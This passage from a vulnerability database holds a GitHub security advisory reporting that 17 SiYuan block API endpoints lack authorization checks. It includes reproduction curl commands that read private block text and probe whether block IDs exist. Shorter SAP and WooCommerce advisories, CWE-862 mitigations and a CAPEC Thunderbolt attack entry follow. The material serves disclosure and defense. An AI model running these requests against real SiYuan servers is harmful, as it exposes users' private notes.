"details": "Same CWE-862 family, found via an automated bulk sweep of every\n`/api/block/*` handler in `kernel/api/block.go` for the presence of any\naccess-check reference (`IsReadOnlyRoleContext`, `checkBlockPublishAccess`,\n`GetPublishAccess`) anywhere in the function body. 17 of 28 candidate\nendpoints have none. Cross-checked against the file\u0027s own sibling\nfunctions (`getBlockInfo`, `getBlockDOM`, `getRefIDs`, etc.), which\ncorrectly implement the check, confirming this is a real, uneven gap\nrather than a deliberate design choice for the whole file.\n\n\n### Summary\n17 handlers in `kernel/api/block.go`, all gated only by `model.CheckAuth`\nwith no admin-role requirement, return block content-derived text,\nstructural metadata, or existence information for any block ID supplied,\nwith no access check anywhere in the handler or, for the ones checked in\ndetail, the model functions they call. This is CWE-862 (Missing\nAuthorization), the same class as the companion advisories from this\nreview round, found in a different file via a systematic bulk check\nrather than manual inspection of each function individually.\n\n### Details\nConfirmed via automated extraction of every function body between\n`func NAME(c *gin.Context) {` and the next such declaration, then\nsearching each for any of `IsReadOnlyRoleContext`,\n`checkBlockPublishAccess`, `GetPublishAccess`, or `PublishAccess`. The\nfollowing contain none of these, at all:\n\n| Endpoint | What it discloses |\n|---|---|\n| `getRefText` | The block\u0027s actual reference-display text, derived from its content, for any ID (`kernel/api/block.go:564`) |\n| `getBlockBreadcrumb` | The block\u0027s breadcrumb/title path (`:?`) |\n| `getBlockDefIDsByRefText` | Which block IDs a given reference text resolves to |\n| `getRefIDsByFileAnnotationID` | Block IDs referencing a given PDF/file annotation |\n| `getBlockIndex` / `getBlocksIndexes` | A block\u0027s position/index within its document |\n| `getTreeStat` | Structural statistics for a document tree |\n| `getBlocksWordCount` / `getContentWordCount` | Word/character counts for arbitrary content |\n| `checkBlockExist` / `checkBlocksExist` | Existence oracle for any block ID |\n| `getUnfoldedParentID` | The nearest unfolded ancestor of a block |\n| `checkBlockFold` | Whether a block is currently folded |\n| `getBlockSiblingID` | A block\u0027s sibling in document order |\n| `getBlockRelevantIDs` | IDs of blocks related to a given block |\n| `getBlockTreeInfos` | Block tree metadata for a set of IDs |\n| `checkBlockRef` | Whether a block is referenced elsewhere |\n\nThe clearest, most severe example, `getRefText`\n(`POST /api/block/getRefText`, `kernel/api/router.go:238`):\n```go\nfunc getRefText(c *gin.Context) {\n ...\n id := arg[\"id\"].(string)\n if util.InvalidIDPattern(id, ret) {\n return\n }\n var refText string\n if notebook, ok := arg[\"notebook\"].(string); ok \u0026\u0026 notebook != \"\" \u0026\u0026 model.IsEncryptedBox(notebook) {\n refText = model.GetBlockRefTextInBox(id, notebook)\n } else {\n refText = model.GetBlockRefText(id)\n }\n ...\n ret.Data = refText\n}\n```\n`model.GetBlockRefText(id)` resolves the actual display text used\nwherever this block is referenced, ordinarily derived from the block\u0027s\nreal content, for any `id` in the workspace, with no scoping.\n\nFor contrast, sibling functions in the same file correctly implement\nthe check, e.g. `getRefIDs` (`kernel/api/router.go:235`) and\n`getBlockInfo`/`getBlockDOM`/`getBlockKramdown` all contain\n`if model.IsReadOnlyRoleContext(c) { ... }` guards. This confirms the\n17 above are an inconsistency within the file, not an intentional\ndecision that the whole file is exempt from this control.\n\n### Step-by-step reproduction\n```bash\n# id: a block inside a document that was never published, or is\n# Disable=true in publish access\ncurl -s -X POST http://\u003ctarget\u003e:6806/api/block/getRefText \\\n -H \"Content-Type: application/json\" -d \u0027{\"id\":\"\u003cprivate-block-id\u003e\"}\u0027\n# Returns the block\u0027s actual reference text with no session, no\n# AccessAuthCode, no publish password.\n\ncurl -s -X POST http://\u003ctarget\u003e:6806/api/block/checkBlockExist \\\n -H \"Content-Type: application/json\" -d \u0027{\"id\":\"\u003cguessed-block-id\u003e\"}\u0027\n# Confirms or denies existence of any guessed ID workspace-wide.\n```\nRepeat against any of the other 15 endpoints in the table above,\nsubstituting their expected arguments, each returns data with no\naccess check.\n\n### Impact\nAny published SiYuan workspace discloses block-level content-derived\ntext, structural metadata, and existence information for the *entire*\nworkspace, not just published notebooks, to any anonymous internet\nvisitor. `getRefText` in particular discloses real content text, not\njust metadata, for any block ID. The existence-oracle endpoints\n(`checkBlockExist`/`checkBlockRef`) combine with the companion\nadvisory\u0027s `getIDsByHPath` title-guessing primitive to let an attacker\nefficiently probe for and confirm private content without ever needing\nlegitimate access.\n```\n\n## Affected products\n\n| Field | Value |\n|---|---|\n| Ecosystem | **Go** |\n| Package name | `github.com/siyuan-note/siyuan/kernel` |\n| Affected versions | Present at current HEAD (commit `eef1056`/`1673b75`, reviewed 2026-08-03) |\n| Patched versions | *(none yet, leave blank until a fix is released)* |\n\n## Severity\n\n| Field | Value |\n|---|---|\n| Vector string | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` |\n| Score | **7.5 (High)**. Network vector, low complexity, no privileges or user interaction required, high confidentiality impact via `getRefText`\u0027s real content-text disclosure plus the combined structural/existence oracle from the other 16, no integrity/availability impact since all 17 are read-only. |\n\n## Weaknesses (CWE)\n\n- **CWE-862**: Missing Authorization (primary)\n- **CWE-204**: Observable Response Discrepancy (contributing, via the existence-oracle endpoints)\n\n## Notes for filing\n- Same CWE-862 family as the two companion advisories from this review\n round (asset/attribute-view listing, and path/title resolution).\n Recommend the maintainers treat all three as one remediation pass:\n grep every `/api/*` handler for the literal presence of\n `IsReadOnlyRoleContext` and manually audit every one that lacks it,\n rather than fixing endpoint-by-endpoint, since the pattern has now\n recurred across three separate files.\n- Suggested fix: add `if model.IsReadOnlyRoleContext(c) { ... }` guards\n matching the pattern already correctly used by this file\u0027s own\n `getBlockInfo`/`getBlockDOM`/`getRefIDs` functions.",
"id": "GHSA-4vpg-gwqq-w44c",
"modified": "2026-10-02T23:05:33Z",
"published": "2026-10-02T23:05:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-4vpg-gwqq-w44c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-74904"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/commit/bd067a4fe9b208c0858d8d9dc6220dc8affc403e"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.8.0"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/siyuan-before-missing-authorization-via-block-api"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "SiYuan: 17 block metadata/content endpoints in kernel/api/block.go have zero publish-access filtering, reachable by anonymous publish-mode readers"
}
GHSA-4VQ2-QG29-VJF5
Vulnerability from github – Published: 2024-09-10 06:30 – Updated: 2024-09-10 06:30The RFC enabled function module allows a low privileged user to perform denial of service on any user and also change or delete favourite nodes. By sending a crafted packet in the function module targeting specific parameters, the specific targeted user will no longer have access to any functionality of SAP GUI. There is low impact on integrity and availability of the application.
{
"affected": [],
"aliases": [
"CVE-2024-45285"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-10T05:15:12Z",
"severity": "MODERATE"
},
"details": "The RFC enabled function module allows a low privileged user to perform denial of service on any user and also change or delete favourite nodes. By sending a crafted packet in the function module targeting specific parameters, the specific targeted user will no longer have access to any functionality of SAP GUI. There is low impact on integrity and availability of the application.",
"id": "GHSA-4vq2-qg29-vjf5",
"modified": "2024-09-10T06:30:48Z",
"published": "2024-09-10T06:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45285"
},
{
"type": "WEB",
"url": "https://me.sap.com/notes/3488039"
},
{
"type": "WEB",
"url": "https://url.sap/sapsecuritypatchday"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-4VQG-HQ2V-8672
Vulnerability from github – Published: 2024-12-09 15:31 – Updated: 2026-04-28 21:35Missing Authorization vulnerability in WPFactory Cost of Goods for WooCommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Cost of Goods for WooCommerce: from n/a through 2.8.6.
{
"affected": [],
"aliases": [
"CVE-2023-23868"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-09T13:15:21Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in WPFactory Cost of Goods for WooCommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Cost of Goods for WooCommerce: from n/a through 2.8.6.",
"id": "GHSA-4vqg-hq2v-8672",
"modified": "2026-04-28T21:35:16Z",
"published": "2024-12-09T15:31:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23868"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/cost-of-goods-for-woocommerce/vulnerability/wordpress-cost-of-goods-for-woocommerce-plugin-2-8-6-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.